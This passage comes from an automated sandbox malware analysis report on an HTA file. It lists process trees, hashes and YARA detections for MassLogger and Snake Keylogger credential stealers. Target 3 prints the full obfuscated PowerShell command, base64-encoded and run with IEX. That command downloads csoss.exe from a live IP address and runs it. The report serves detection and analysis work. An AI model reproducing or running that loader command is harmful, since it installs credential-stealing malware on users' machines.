gICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Imagebase:	0x2a0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:19:00
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:19:00
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Imagebase:	0xf20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:19:03
Start date:	16/03/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline"
Imagebase:	0x800000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:19:04
Start date:	16/03/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC5CF.tmp" "c:\Users\user\AppData\Local\Temp\43swuu3x\CSC1706E7A7601C443B9125CD5A3AB1B1B7.TMP"
Imagebase:	0x440000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:19:09
Start date:	16/03/2025
Path:	C:\Users\user\AppData\Roaming\csoss.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\csoss.exe"
Imagebase:	0xd00000
File size:	980'992 bytes
MD5 hash:	54DE0C8E192E7BC71B6D284FFF136296
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSILLogger, Description: Yara detected MSIL Logger, Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:19:10
Start date:	16/03/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\csoss.exe"
Imagebase:	0x150000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSILLogger, Description: Yara detected MSIL Logger, Source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2509390080.0000000002646000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report needagoodplanforsuccesstogetbackbest.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.0.cs

C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline

C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.dll

C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.out

C:\Users\user\AppData\Local\Temp\43swuu3x\CSC1706E7A7601C443B9125CD5A3AB1B1B7.TMP

C:\Users\user\AppData\Local\Temp\RESC5CF.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0hd1kehy.5nl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_disjavlp.siv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5w2zet0.25m.ps1

Windows Analysis Report
needagoodplanforsuccesstogetbackbest.hta